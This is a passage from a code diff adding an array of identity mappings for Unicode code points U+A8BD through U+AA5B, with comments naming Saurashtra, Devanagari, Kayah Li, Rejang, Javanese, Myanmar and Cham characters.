+ ["\uA8BD", "\uA8BD"], /* SAURASHTRA VOWEL SIGN VOCALIC LL */
+ ["\uA8BE", "\uA8BE"], /* SAURASHTRA VOWEL SIGN E */
+ ["\uA8BF", "\uA8BF"], /* SAURASHTRA VOWEL SIGN EE */
+ ["\uA8C0", "\uA8C0"], /* SAURASHTRA VOWEL SIGN AI */
+ ["\uA8C1", "\uA8C1"], /* SAURASHTRA VOWEL SIGN O */
+ ["\uA8C2", "\uA8C2"], /* SAURASHTRA VOWEL SIGN OO */
+ ["\uA8C3", "\uA8C3"], /* SAURASHTRA VOWEL SIGN AU */
+ ["\uA8C4", "\uA8C4"], /* SAURASHTRA SIGN VIRAMA */
+ ["\uA8C5", "\uA8C5"], /* SAURASHTRA SIGN CANDRABINDU */
+ ["\uA8C6", "\uA8C6"],
+ ["\uA8C7", "\uA8C7"],
+ ["\uA8C8", "\uA8C8"],
+ ["\uA8C9", "\uA8C9"],
+ ["\uA8CA", "\uA8CA"],
+ ["\uA8CB", "\uA8CB"],
+ ["\uA8CC", "\uA8CC"],
+ ["\uA8CD", "\uA8CD"],
+ ["\uA8CE", "\uA8CE"], /* SAURASHTRA DANDA */
+ ["\uA8CF", "\uA8CF"], /* SAURASHTRA DOUBLE DANDA */
+ ["\uA8D0", "\uA8D0"], /* SAURASHTRA DIGIT ZERO */
+ ["\uA8D1", "\uA8D1"], /* SAURASHTRA DIGIT ONE */
+ ["\uA8D2", "\uA8D2"], /* SAURASHTRA DIGIT TWO */
+ ["\uA8D3", "\uA8D3"], /* SAURASHTRA DIGIT THREE */
+ ["\uA8D4", "\uA8D4"], /* SAURASHTRA DIGIT FOUR */
+ ["\uA8D5", "\uA8D5"], /* SAURASHTRA DIGIT FIVE */
+ ["\uA8D6", "\uA8D6"], /* SAURASHTRA DIGIT SIX */
+ ["\uA8D7", "\uA8D7"], /* SAURASHTRA DIGIT SEVEN */
+ ["\uA8D8", "\uA8D8"], /* SAURASHTRA DIGIT EIGHT */
+ ["\uA8D9", "\uA8D9"], /* SAURASHTRA DIGIT NINE */
+ ["\uA8DA", "\uA8DA"],
+ ["\uA8DB", "\uA8DB"],
+ ["\uA8DC", "\uA8DC"],
+ ["\uA8DD", "\uA8DD"],
+ ["\uA8DE", "\uA8DE"],
+ ["\uA8DF", "\uA8DF"],
+ ["\uA8E0", "\uA8E0"], /* COMBINING DEVANAGARI DIGIT ZERO */
+ ["\uA8E1", "\uA8E1"], /* COMBINING DEVANAGARI DIGIT ONE */
+ ["\uA8E2", "\uA8E2"], /* COMBINING DEVANAGARI DIGIT TWO */
+ ["\uA8E3", "\uA8E3"], /* COMBINING DEVANAGARI DIGIT THREE */
+ ["\uA8E4", "\uA8E4"], /* COMBINING DEVANAGARI DIGIT FOUR */
+ ["\uA8E5", "\uA8E5"], /* COMBINING DEVANAGARI DIGIT FIVE */
+ ["\uA8E6", "\uA8E6"], /* COMBINING DEVANAGARI DIGIT SIX */
+ ["\uA8E7", "\uA8E7"], /* COMBINING DEVANAGARI DIGIT SEVEN */
+ ["\uA8E8", "\uA8E8"], /* COMBINING DEVANAGARI DIGIT EIGHT */
+ ["\uA8E9", "\uA8E9"], /* COMBINING DEVANAGARI DIGIT NINE */
+ ["\uA8EA", "\uA8EA"], /* COMBINING DEVANAGARI LETTER A */
+ ["\uA8EB", "\uA8EB"], /* COMBINING DEVANAGARI LETTER U */
+ ["\uA8EC", "\uA8EC"], /* COMBINING DEVANAGARI LETTER KA */
+ ["\uA8ED", "\uA8ED"], /* COMBINING DEVANAGARI LETTER NA */
+ ["\uA8EE", "\uA8EE"], /* COMBINING DEVANAGARI LETTER PA */
+ ["\uA8EF", "\uA8EF"], /* COMBINING DEVANAGARI LETTER RA */
+ ["\uA8F0", "\uA8F0"], /* COMBINING DEVANAGARI LETTER VI */
+ ["\uA8F1", "\uA8F1"], /* COMBINING DEVANAGARI SIGN AVAGRAHA */
+ ["\uA8F2", "\uA8F2"], /* DEVANAGARI SIGN SPACING CANDRABINDU */
+ ["\uA8F3", "\uA8F3"], /* DEVANAGARI SIGN CANDRABINDU VIRAMA */
+ ["\uA8F4", "\uA8F4"], /* DEVANAGARI SIGN DOUBLE CANDRABINDU VIRAMA */
+ ["\uA8F5", "\uA8F5"], /* DEVANAGARI SIGN CANDRABINDU TWO */
+ ["\uA8F6", "\uA8F6"], /* DEVANAGARI SIGN CANDRABINDU THREE */
+ ["\uA8F7", "\uA8F7"], /* DEVANAGARI SIGN CANDRABINDU AVAGRAHA */
+ ["\uA8F8", "\uA8F8"], /* DEVANAGARI SIGN PUSHPIKA */
+ ["\uA8F9", "\uA8F9"], /* DEVANAGARI GAP FILLER */
+ ["\uA8FA", "\uA8FA"], /* DEVANAGARI CARET */
+ ["\uA8FB", "\uA8FB"], /* DEVANAGARI HEADSTROKE */
+ ["\uA8FC", "\uA8FC"], /* DEVANAGARI SIGN SIDDHAM */
+ ["\uA8FD", "\uA8FD"], /* DEVANAGARI JAIN OM */
+ ["\uA8FE", "\uA8FE"], /* DEVANAGARI LETTER AY */
+ ["\uA8FF", "\uA8FF"], /* DEVANAGARI VOWEL SIGN AY */
+ ["\uA900", "\uA900"], /* KAYAH LI DIGIT ZERO */
+ ["\uA901", "\uA901"], /* KAYAH LI DIGIT ONE */
+ ["\uA902", "\uA902"], /* KAYAH LI DIGIT TWO */
+ ["\uA903", "\uA903"], /* KAYAH LI DIGIT THREE */
+ ["\uA904", "\uA904"], /* KAYAH LI DIGIT FOUR */
+ ["\uA905", "\uA905"], /* KAYAH LI DIGIT FIVE */
+ ["\uA906", "\uA906"], /* KAYAH LI DIGIT SIX */
+ ["\uA907", "\uA907"], /* KAYAH LI DIGIT SEVEN */
+ ["\uA908", "\uA908"], /* KAYAH LI DIGIT EIGHT */
+ ["\uA909", "\uA909"], /* KAYAH LI DIGIT NINE */
+ ["\uA90A", "\uA90A"], /* KAYAH LI LETTER KA */
+ ["\uA90B", "\uA90B"], /* KAYAH LI LETTER KHA */
+ ["\uA90C", "\uA90C"], /* KAYAH LI LETTER GA */
+ ["\uA90D", "\uA90D"], /* KAYAH LI LETTER NGA */
+ ["\uA90E", "\uA90E"], /* KAYAH LI LETTER SA */
+ ["\uA90F", "\uA90F"], /* KAYAH LI LETTER SHA */
+ ["\uA910", "\uA910"], /* KAYAH LI LETTER ZA */
+ ["\uA911", "\uA911"], /* KAYAH LI LETTER NYA */
+ ["\uA912", "\uA912"], /* KAYAH LI LETTER TA */
+ ["\uA913", "\uA913"], /* KAYAH LI LETTER HTA */
+ ["\uA914", "\uA914"], /* KAYAH LI LETTER NA */
+ ["\uA915", "\uA915"], /* KAYAH LI LETTER PA */
+ ["\uA916", "\uA916"], /* KAYAH LI LETTER PHA */
+ ["\uA917", "\uA917"], /* KAYAH LI LETTER MA */
+ ["\uA918", "\uA918"], /* KAYAH LI LETTER DA */
+ ["\uA919", "\uA919"], /* KAYAH LI LETTER BA */
+ ["\uA91A", "\uA91A"], /* KAYAH LI LETTER RA */
+ ["\uA91B", "\uA91B"], /* KAYAH LI LETTER YA */
+ ["\uA91C", "\uA91C"], /* KAYAH LI LETTER LA */
+ ["\uA91D", "\uA91D"], /* KAYAH LI LETTER WA */
+ ["\uA91E", "\uA91E"], /* KAYAH LI LETTER THA */
+ ["\uA91F", "\uA91F"], /* KAYAH LI LETTER HA */
+ ["\uA920", "\uA920"], /* KAYAH LI LETTER VA */
+ ["\uA921", "\uA921"], /* KAYAH LI LETTER CA */
+ ["\uA922", "\uA922"], /* KAYAH LI LETTER A */
+ ["\uA923", "\uA923"], /* KAYAH LI LETTER OE */
+ ["\uA924", "\uA924"], /* KAYAH LI LETTER I */
+ ["\uA925", "\uA925"], /* KAYAH LI LETTER OO */
+ ["\uA926", "\uA926"], /* KAYAH LI VOWEL UE */
+ ["\uA927", "\uA927"], /* KAYAH LI VOWEL E */
+ ["\uA928", "\uA928"], /* KAYAH LI VOWEL U */
+ ["\uA929", "\uA929"], /* KAYAH LI VOWEL EE */
+ ["\uA92A", "\uA92A"], /* KAYAH LI VOWEL O */
+ ["\uA92B", "\uA92B"], /* KAYAH LI TONE PLOPHU */
+ ["\uA92C", "\uA92C"], /* KAYAH LI TONE CALYA */
+ ["\uA92D", "\uA92D"], /* KAYAH LI TONE CALYA PLOPHU */
+ ["\uA92E", "\uA92E"], /* KAYAH LI SIGN CWI */
+ ["\uA92F", "\uA92F"], /* KAYAH LI SIGN SHYA */
+ ["\uA930", "\uA930"], /* REJANG LETTER KA */
+ ["\uA931", "\uA931"], /* REJANG LETTER GA */
+ ["\uA932", "\uA932"], /* REJANG LETTER NGA */
+ ["\uA933", "\uA933"], /* REJANG LETTER TA */
+ ["\uA934", "\uA934"], /* REJANG LETTER DA */
+ ["\uA935", "\uA935"], /* REJANG LETTER NA */
+ ["\uA936", "\uA936"], /* REJANG LETTER PA */
+ ["\uA937", "\uA937"], /* REJANG LETTER BA */
+ ["\uA938", "\uA938"], /* REJANG LETTER MA */
+ ["\uA939", "\uA939"], /* REJANG LETTER CA */
+ ["\uA93A", "\uA93A"], /* REJANG LETTER JA */
+ ["\uA93B", "\uA93B"], /* REJANG LETTER NYA */
+ ["\uA93C", "\uA93C"], /* REJANG LETTER SA */
+ ["\uA93D", "\uA93D"], /* REJANG LETTER RA */
+ ["\uA93E", "\uA93E"], /* REJANG LETTER LA */
+ ["\uA93F", "\uA93F"], /* REJANG LETTER YA */
+ ["\uA940", "\uA940"], /* REJANG LETTER WA */
+ ["\uA941", "\uA941"], /* REJANG LETTER HA */
+ ["\uA942", "\uA942"], /* REJANG LETTER MBA */
+ ["\uA943", "\uA943"], /* REJANG LETTER NGGA */
+ ["\uA944", "\uA944"], /* REJANG LETTER NDA */
+ ["\uA945", "\uA945"], /* REJANG LETTER NYJA */
+ ["\uA946", "\uA946"], /* REJANG LETTER A */
+ ["\uA947", "\uA947"], /* REJANG VOWEL SIGN I */
+ ["\uA948", "\uA948"], /* REJANG VOWEL SIGN U */
+ ["\uA949", "\uA949"], /* REJANG VOWEL SIGN E */
+ ["\uA94A", "\uA94A"], /* REJANG VOWEL SIGN AI */
+ ["\uA94B", "\uA94B"], /* REJANG VOWEL SIGN O */
+ ["\uA94C", "\uA94C"], /* REJANG VOWEL SIGN AU */
+ ["\uA94D", "\uA94D"], /* REJANG VOWEL SIGN EU */
+ ["\uA94E", "\uA94E"], /* REJANG VOWEL SIGN EA */
+ ["\uA94F", "\uA94F"], /* REJANG CONSONANT SIGN NG */
+ ["\uA950", "\uA950"], /* REJANG CONSONANT SIGN N */
+ ["\uA951", "\uA951"], /* REJANG CONSONANT SIGN R */
+ ["\uA952", "\uA952"], /* REJANG CONSONANT SIGN H */
+ ["\uA953", "\uA953"], /* REJANG VIRAMA */
+ ["\uA954", "\uA954"],
+ ["\uA955", "\uA955"],
+ ["\uA956", "\uA956"],
+ ["\uA957", "\uA957"],
+ ["\uA958", "\uA958"],
+ ["\uA959", "\uA959"],
+ ["\uA95A", "\uA95A"],
+ ["\uA95B", "\uA95B"],
+ ["\uA95C", "\uA95C"],
+ ["\uA95D", "\uA95D"],
+ ["\uA95E", "\uA95E"],
+ ["\uA95F", "\uA95F"], /* REJANG SECTION MARK */
+ ["\uA960", "\uA960"], /* HANGUL CHOSEONG TIKEUT-MIEUM */
+ ["\uA961", "\uA961"], /* HANGUL CHOSEONG TIKEUT-PIEUP */
+ ["\uA962", "\uA962"], /* HANGUL CHOSEONG TIKEUT-SIOS */
+ ["\uA963", "\uA963"], /* HANGUL CHOSEONG TIKEUT-CIEUC */
+ ["\uA964", "\uA964"], /* HANGUL CHOSEONG RIEUL-KIYEOK */
+ ["\uA965", "\uA965"], /* HANGUL CHOSEONG RIEUL-SSANGKIYEOK */
+ ["\uA966", "\uA966"], /* HANGUL CHOSEONG RIEUL-TIKEUT */
+ ["\uA967", "\uA967"], /* HANGUL CHOSEONG RIEUL-SSANGTIKEUT */
+ ["\uA968", "\uA968"], /* HANGUL CHOSEONG RIEUL-MIEUM */
+ ["\uA969", "\uA969"], /* HANGUL CHOSEONG RIEUL-PIEUP */
+ ["\uA96A", "\uA96A"], /* HANGUL CHOSEONG RIEUL-SSANGPIEUP */
+ ["\uA96B", "\uA96B"], /* HANGUL CHOSEONG RIEUL-KAPYEOUNPIEUP */
+ ["\uA96C", "\uA96C"], /* HANGUL CHOSEONG RIEUL-SIOS */
+ ["\uA96D", "\uA96D"], /* HANGUL CHOSEONG RIEUL-CIEUC */
+ ["\uA96E", "\uA96E"], /* HANGUL CHOSEONG RIEUL-KHIEUKH */
+ ["\uA96F", "\uA96F"], /* HANGUL CHOSEONG MIEUM-KIYEOK */
+ ["\uA970", "\uA970"], /* HANGUL CHOSEONG MIEUM-TIKEUT */
+ ["\uA971", "\uA971"], /* HANGUL CHOSEONG MIEUM-SIOS */
+ ["\uA972", "\uA972"], /* HANGUL CHOSEONG PIEUP-SIOS-THIEUTH */
+ ["\uA973", "\uA973"], /* HANGUL CHOSEONG PIEUP-KHIEUKH */
+ ["\uA974", "\uA974"], /* HANGUL CHOSEONG PIEUP-HIEUH */
+ ["\uA975", "\uA975"], /* HANGUL CHOSEONG SSANGSIOS-PIEUP */
+ ["\uA976", "\uA976"], /* HANGUL CHOSEONG IEUNG-RIEUL */
+ ["\uA977", "\uA977"], /* HANGUL CHOSEONG IEUNG-HIEUH */
+ ["\uA978", "\uA978"], /* HANGUL CHOSEONG SSANGCIEUC-HIEUH */
+ ["\uA979", "\uA979"], /* HANGUL CHOSEONG SSANGTHIEUTH */
+ ["\uA97A", "\uA97A"], /* HANGUL CHOSEONG PHIEUPH-HIEUH */
+ ["\uA97B", "\uA97B"], /* HANGUL CHOSEONG HIEUH-SIOS */
+ ["\uA97C", "\uA97C"], /* HANGUL CHOSEONG SSANGYEORINHIEUH */
+ ["\uA97D", "\uA97D"],
+ ["\uA97E", "\uA97E"],
+ ["\uA97F", "\uA97F"],
+ ["\uA980", "\uA980"], /* JAVANESE SIGN PANYANGGA */
+ ["\uA981", "\uA981"], /* JAVANESE SIGN CECAK */
+ ["\uA982", "\uA982"], /* JAVANESE SIGN LAYAR */
+ ["\uA983", "\uA983"], /* JAVANESE SIGN WIGNYAN */
+ ["\uA984", "\uA984"], /* JAVANESE LETTER A */
+ ["\uA985", "\uA985"], /* JAVANESE LETTER I KAWI */
+ ["\uA986", "\uA986"], /* JAVANESE LETTER I */
+ ["\uA987", "\uA987"], /* JAVANESE LETTER II */
+ ["\uA988", "\uA988"], /* JAVANESE LETTER U */
+ ["\uA989", "\uA989"], /* JAVANESE LETTER PA CEREK */
+ ["\uA98A", "\uA98A"], /* JAVANESE LETTER NGA LELET */
+ ["\uA98B", "\uA98B"], /* JAVANESE LETTER NGA LELET RASWADI */
+ ["\uA98C", "\uA98C"], /* JAVANESE LETTER E */
+ ["\uA98D", "\uA98D"], /* JAVANESE LETTER AI */
+ ["\uA98E", "\uA98E"], /* JAVANESE LETTER O */
+ ["\uA98F", "\uA98F"], /* JAVANESE LETTER KA */
+ ["\uA990", "\uA990"], /* JAVANESE LETTER KA SASAK */
+ ["\uA991", "\uA991"], /* JAVANESE LETTER KA MURDA */
+ ["\uA992", "\uA992"], /* JAVANESE LETTER GA */
+ ["\uA993", "\uA993"], /* JAVANESE LETTER GA MURDA */
+ ["\uA994", "\uA994"], /* JAVANESE LETTER NGA */
+ ["\uA995", "\uA995"], /* JAVANESE LETTER CA */
+ ["\uA996", "\uA996"], /* JAVANESE LETTER CA MURDA */
+ ["\uA997", "\uA997"], /* JAVANESE LETTER JA */
+ ["\uA998", "\uA998"], /* JAVANESE LETTER NYA MURDA */
+ ["\uA999", "\uA999"], /* JAVANESE LETTER JA MAHAPRANA */
+ ["\uA99A", "\uA99A"], /* JAVANESE LETTER NYA */
+ ["\uA99B", "\uA99B"], /* JAVANESE LETTER TTA */
+ ["\uA99C", "\uA99C"], /* JAVANESE LETTER TTA MAHAPRANA */
+ ["\uA99D", "\uA99D"], /* JAVANESE LETTER DDA */
+ ["\uA99E", "\uA99E"], /* JAVANESE LETTER DDA MAHAPRANA */
+ ["\uA99F", "\uA99F"], /* JAVANESE LETTER NA MURDA */
+ ["\uA9A0", "\uA9A0"], /* JAVANESE LETTER TA */
+ ["\uA9A1", "\uA9A1"], /* JAVANESE LETTER TA MURDA */
+ ["\uA9A2", "\uA9A2"], /* JAVANESE LETTER DA */
+ ["\uA9A3", "\uA9A3"], /* JAVANESE LETTER DA MAHAPRANA */
+ ["\uA9A4", "\uA9A4"], /* JAVANESE LETTER NA */
+ ["\uA9A5", "\uA9A5"], /* JAVANESE LETTER PA */
+ ["\uA9A6", "\uA9A6"], /* JAVANESE LETTER PA MURDA */
+ ["\uA9A7", "\uA9A7"], /* JAVANESE LETTER BA */
+ ["\uA9A8", "\uA9A8"], /* JAVANESE LETTER BA MURDA */
+ ["\uA9A9", "\uA9A9"], /* JAVANESE LETTER MA */
+ ["\uA9AA", "\uA9AA"], /* JAVANESE LETTER YA */
+ ["\uA9AB", "\uA9AB"], /* JAVANESE LETTER RA */
+ ["\uA9AC", "\uA9AC"], /* JAVANESE LETTER RA AGUNG */
+ ["\uA9AD", "\uA9AD"], /* JAVANESE LETTER LA */
+ ["\uA9AE", "\uA9AE"], /* JAVANESE LETTER WA */
+ ["\uA9AF", "\uA9AF"], /* JAVANESE LETTER SA MURDA */
+ ["\uA9B0", "\uA9B0"], /* JAVANESE LETTER SA MAHAPRANA */
+ ["\uA9B1", "\uA9B1"], /* JAVANESE LETTER SA */
+ ["\uA9B2", "\uA9B2"], /* JAVANESE LETTER HA */
+ ["\uA9B3", "\uA9B3"], /* JAVANESE SIGN CECAK TELU */
+ ["\uA9B4", "\uA9B4"], /* JAVANESE VOWEL SIGN TARUNG */
+ ["\uA9B5", "\uA9B5"], /* JAVANESE VOWEL SIGN TOLONG */
+ ["\uA9B6", "\uA9B6"], /* JAVANESE VOWEL SIGN WULU */
+ ["\uA9B7", "\uA9B7"], /* JAVANESE VOWEL SIGN WULU MELIK */
+ ["\uA9B8", "\uA9B8"], /* JAVANESE VOWEL SIGN SUKU */
+ ["\uA9B9", "\uA9B9"], /* JAVANESE VOWEL SIGN SUKU MENDUT */
+ ["\uA9BA", "\uA9BA"], /* JAVANESE VOWEL SIGN TALING */
+ ["\uA9BB", "\uA9BB"], /* JAVANESE VOWEL SIGN DIRGA MURE */
+ ["\uA9BC", "\uA9BC"], /* JAVANESE VOWEL SIGN PEPET */
+ ["\uA9BD", "\uA9BD"], /* JAVANESE CONSONANT SIGN KERET */
+ ["\uA9BE", "\uA9BE"], /* JAVANESE CONSONANT SIGN PENGKAL */
+ ["\uA9BF", "\uA9BF"], /* JAVANESE CONSONANT SIGN CAKRA */
+ ["\uA9C0", "\uA9C0"], /* JAVANESE PANGKON */
+ ["\uA9C1", "\uA9C1"], /* JAVANESE LEFT RERENGGAN */
+ ["\uA9C2", "\uA9C2"], /* JAVANESE RIGHT RERENGGAN */
+ ["\uA9C3", "\uA9C3"], /* JAVANESE PADA ANDAP */
+ ["\uA9C4", "\uA9C4"], /* JAVANESE PADA MADYA */
+ ["\uA9C5", "\uA9C5"], /* JAVANESE PADA LUHUR */
+ ["\uA9C6", "\uA9C6"], /* JAVANESE PADA WINDU */
+ ["\uA9C7", "\uA9C7"], /* JAVANESE PADA PANGKAT */
+ ["\uA9C8", "\uA9C8"], /* JAVANESE PADA LINGSA */
+ ["\uA9C9", "\uA9C9"], /* JAVANESE PADA LUNGSI */
+ ["\uA9CA", "\uA9CA"], /* JAVANESE PADA ADEG */
+ ["\uA9CB", "\uA9CB"], /* JAVANESE PADA ADEG ADEG */
+ ["\uA9CC", "\uA9CC"], /* JAVANESE PADA PISELEH */
+ ["\uA9CD", "\uA9CD"], /* JAVANESE TURNED PADA PISELEH */
+ ["\uA9CE", "\uA9CE"],
+ ["\uA9CF", "\uA9CF"], /* JAVANESE PANGRANGKEP */
+ ["\uA9D0", "\uA9D0"], /* JAVANESE DIGIT ZERO */
+ ["\uA9D1", "\uA9D1"], /* JAVANESE DIGIT ONE */
+ ["\uA9D2", "\uA9D2"], /* JAVANESE DIGIT TWO */
+ ["\uA9D3", "\uA9D3"], /* JAVANESE DIGIT THREE */
+ ["\uA9D4", "\uA9D4"], /* JAVANESE DIGIT FOUR */
+ ["\uA9D5", "\uA9D5"], /* JAVANESE DIGIT FIVE */
+ ["\uA9D6", "\uA9D6"], /* JAVANESE DIGIT SIX */
+ ["\uA9D7", "\uA9D7"], /* JAVANESE DIGIT SEVEN */
+ ["\uA9D8", "\uA9D8"], /* JAVANESE DIGIT EIGHT */
+ ["\uA9D9", "\uA9D9"], /* JAVANESE DIGIT NINE */
+ ["\uA9DA", "\uA9DA"],
+ ["\uA9DB", "\uA9DB"],
+ ["\uA9DC", "\uA9DC"],
+ ["\uA9DD", "\uA9DD"],
+ ["\uA9DE", "\uA9DE"], /* JAVANESE PADA TIRTA TUMETES */
+ ["\uA9DF", "\uA9DF"], /* JAVANESE PADA ISEN-ISEN */
+ ["\uA9E0", "\uA9E0"], /* MYANMAR LETTER SHAN GHA */
+ ["\uA9E1", "\uA9E1"], /* MYANMAR LETTER SHAN CHA */
+ ["\uA9E2", "\uA9E2"], /* MYANMAR LETTER SHAN JHA */
+ ["\uA9E3", "\uA9E3"], /* MYANMAR LETTER SHAN NNA */
+ ["\uA9E4", "\uA9E4"], /* MYANMAR LETTER SHAN BHA */
+ ["\uA9E5", "\uA9E5"], /* MYANMAR SIGN SHAN SAW */
+ ["\uA9E6", "\uA9E6"], /* MYANMAR MODIFIER LETTER SHAN REDUPLICATION */
+ ["\uA9E7", "\uA9E7"], /* MYANMAR LETTER TAI LAING NYA */
+ ["\uA9E8", "\uA9E8"], /* MYANMAR LETTER TAI LAING FA */
+ ["\uA9E9", "\uA9E9"], /* MYANMAR LETTER TAI LAING GA */
+ ["\uA9EA", "\uA9EA"], /* MYANMAR LETTER TAI LAING GHA */
+ ["\uA9EB", "\uA9EB"], /* MYANMAR LETTER TAI LAING JA */
+ ["\uA9EC", "\uA9EC"], /* MYANMAR LETTER TAI LAING JHA */
+ ["\uA9ED", "\uA9ED"], /* MYANMAR LETTER TAI LAING DDA */
+ ["\uA9EE", "\uA9EE"], /* MYANMAR LETTER TAI LAING DDHA */
+ ["\uA9EF", "\uA9EF"], /* MYANMAR LETTER TAI LAING NNA */
+ ["\uA9F0", "\uA9F0"], /* MYANMAR TAI LAING DIGIT ZERO */
+ ["\uA9F1", "\uA9F1"], /* MYANMAR TAI LAING DIGIT ONE */
+ ["\uA9F2", "\uA9F2"], /* MYANMAR TAI LAING DIGIT TWO */
+ ["\uA9F3", "\uA9F3"], /* MYANMAR TAI LAING DIGIT THREE */
+ ["\uA9F4", "\uA9F4"], /* MYANMAR TAI LAING DIGIT FOUR */
+ ["\uA9F5", "\uA9F5"], /* MYANMAR TAI LAING DIGIT FIVE */
+ ["\uA9F6", "\uA9F6"], /* MYANMAR TAI LAING DIGIT SIX */
+ ["\uA9F7", "\uA9F7"], /* MYANMAR TAI LAING DIGIT SEVEN */
+ ["\uA9F8", "\uA9F8"], /* MYANMAR TAI LAING DIGIT EIGHT */
+ ["\uA9F9", "\uA9F9"], /* MYANMAR TAI LAING DIGIT NINE */
+ ["\uA9FA", "\uA9FA"], /* MYANMAR LETTER TAI LAING LLA */
+ ["\uA9FB", "\uA9FB"], /* MYANMAR LETTER TAI LAING DA */
+ ["\uA9FC", "\uA9FC"], /* MYANMAR LETTER TAI LAING DHA */
+ ["\uA9FD", "\uA9FD"], /* MYANMAR LETTER TAI LAING BA */
+ ["\uA9FE", "\uA9FE"], /* MYANMAR LETTER TAI LAING BHA */
+ ["\uA9FF", "\uA9FF"],
+ ["\uAA00", "\uAA00"], /* CHAM LETTER A */
+ ["\uAA01", "\uAA01"], /* CHAM LETTER I */
+ ["\uAA02", "\uAA02"], /* CHAM LETTER U */
+ ["\uAA03", "\uAA03"], /* CHAM LETTER E */
+ ["\uAA04", "\uAA04"], /* CHAM LETTER AI */
+ ["\uAA05", "\uAA05"], /* CHAM LETTER O */
+ ["\uAA06", "\uAA06"], /* CHAM LETTER KA */
+ ["\uAA07", "\uAA07"], /* CHAM LETTER KHA */
+ ["\uAA08", "\uAA08"], /* CHAM LETTER GA */
+ ["\uAA09", "\uAA09"], /* CHAM LETTER GHA */
+ ["\uAA0A", "\uAA0A"], /* CHAM LETTER NGUE */
+ ["\uAA0B", "\uAA0B"], /* CHAM LETTER NGA */
+ ["\uAA0C", "\uAA0C"], /* CHAM LETTER CHA */
+ ["\uAA0D", "\uAA0D"], /* CHAM LETTER CHHA */
+ ["\uAA0E", "\uAA0E"], /* CHAM LETTER JA */
+ ["\uAA0F", "\uAA0F"], /* CHAM LETTER JHA */
+ ["\uAA10", "\uAA10"], /* CHAM LETTER NHUE */
+ ["\uAA11", "\uAA11"], /* CHAM LETTER NHA */
+ ["\uAA12", "\uAA12"], /* CHAM LETTER NHJA */
+ ["\uAA13", "\uAA13"], /* CHAM LETTER TA */
+ ["\uAA14", "\uAA14"], /* CHAM LETTER THA */
+ ["\uAA15", "\uAA15"], /* CHAM LETTER DA */
+ ["\uAA16", "\uAA16"], /* CHAM LETTER DHA */
+ ["\uAA17", "\uAA17"], /* CHAM LETTER NUE */
+ ["\uAA18", "\uAA18"], /* CHAM LETTER NA */
+ ["\uAA19", "\uAA19"], /* CHAM LETTER DDA */
+ ["\uAA1A", "\uAA1A"], /* CHAM LETTER PA */
+ ["\uAA1B", "\uAA1B"], /* CHAM LETTER PPA */
+ ["\uAA1C", "\uAA1C"], /* CHAM LETTER PHA */
+ ["\uAA1D", "\uAA1D"], /* CHAM LETTER BA */
+ ["\uAA1E", "\uAA1E"], /* CHAM LETTER BHA */
+ ["\uAA1F", "\uAA1F"], /* CHAM LETTER MUE */
+ ["\uAA20", "\uAA20"], /* CHAM LETTER MA */
+ ["\uAA21", "\uAA21"], /* CHAM LETTER BBA */
+ ["\uAA22", "\uAA22"], /* CHAM LETTER YA */
+ ["\uAA23", "\uAA23"], /* CHAM LETTER RA */
+ ["\uAA24", "\uAA24"], /* CHAM LETTER LA */
+ ["\uAA25", "\uAA25"], /* CHAM LETTER VA */
+ ["\uAA26", "\uAA26"], /* CHAM LETTER SSA */
+ ["\uAA27", "\uAA27"], /* CHAM LETTER SA */
+ ["\uAA28", "\uAA28"], /* CHAM LETTER HA */
+ ["\uAA29", "\uAA29"], /* CHAM VOWEL SIGN AA */
+ ["\uAA2A", "\uAA2A"], /* CHAM VOWEL SIGN I */
+ ["\uAA2B", "\uAA2B"], /* CHAM VOWEL SIGN II */
+ ["\uAA2C", "\uAA2C"], /* CHAM VOWEL SIGN EI */
+ ["\uAA2D", "\uAA2D"], /* CHAM VOWEL SIGN U */
+ ["\uAA2E", "\uAA2E"], /* CHAM VOWEL SIGN OE */
+ ["\uAA2F", "\uAA2F"], /* CHAM VOWEL SIGN O */
+ ["\uAA30", "\uAA30"], /* CHAM VOWEL SIGN AI */
+ ["\uAA31", "\uAA31"], /* CHAM VOWEL SIGN AU */
+ ["\uAA32", "\uAA32"], /* CHAM VOWEL SIGN UE */
+ ["\uAA33", "\uAA33"], /* CHAM CONSONANT SIGN YA */
+ ["\uAA34", "\uAA34"], /* CHAM CONSONANT SIGN RA */
+ ["\uAA35", "\uAA35"], /* CHAM CONSONANT SIGN LA */
+ ["\uAA36", "\uAA36"], /* CHAM CONSONANT SIGN WA */
+ ["\uAA37", "\uAA37"],
+ ["\uAA38", "\uAA38"],
+ ["\uAA39", "\uAA39"],
+ ["\uAA3A", "\uAA3A"],
+ ["\uAA3B", "\uAA3B"],
+ ["\uAA3C", "\uAA3C"],
+ ["\uAA3D", "\uAA3D"],
+ ["\uAA3E", "\uAA3E"],
+ ["\uAA3F", "\uAA3F"],
+ ["\uAA40", "\uAA40"], /* CHAM LETTER FINAL K */
+ ["\uAA41", "\uAA41"], /* CHAM LETTER FINAL G */
+ ["\uAA42", "\uAA42"], /* CHAM LETTER FINAL NG */
+ ["\uAA43", "\uAA43"], /* CHAM CONSONANT SIGN FINAL NG */
+ ["\uAA44", "\uAA44"], /* CHAM LETTER FINAL CH */
+ ["\uAA45", "\uAA45"], /* CHAM LETTER FINAL T */
+ ["\uAA46", "\uAA46"], /* CHAM LETTER FINAL N */
+ ["\uAA47", "\uAA47"], /* CHAM LETTER FINAL P */
+ ["\uAA48", "\uAA48"], /* CHAM LETTER FINAL Y */
+ ["\uAA49", "\uAA49"], /* CHAM LETTER FINAL R */
+ ["\uAA4A", "\uAA4A"], /* CHAM LETTER FINAL L */
+ ["\uAA4B", "\uAA4B"], /* CHAM LETTER FINAL SS */
+ ["\uAA4C", "\uAA4C"], /* CHAM CONSONANT SIGN FINAL M */
+ ["\uAA4D", "\uAA4D"], /* CHAM CONSONANT SIGN FINAL H */
+ ["\uAA4E", "\uAA4E"],
+ ["\uAA4F", "\uAA4F"],
+ ["\uAA50", "\uAA50"], /* CHAM DIGIT ZERO */
+ ["\uAA51", "\uAA51"], /* CHAM DIGIT ONE */
+ ["\uAA52", "\uAA52"], /* CHAM DIGIT TWO */
+ ["\uAA53", "\uAA53"], /* CHAM DIGIT THREE */
+ ["\uAA54", "\uAA54"], /* CHAM DIGIT FOUR */
+ ["\uAA55", "\uAA55"], /* CHAM DIGIT FIVE */
+ ["\uAA56", "\uAA56"], /* CHAM DIGIT SIX */
+ ["\uAA57", "\uAA57"], /* CHAM DIGIT SEVEN */
+ ["\uAA58", "\uAA58"], /* CHAM DIGIT EIGHT */
+ ["\uAA59", "\uAA59"], /* CHAM DIGIT NINE */
+ ["\uAA5A", "\uAA5A"],
+ ["\uAA5B", "\uAA5B"],
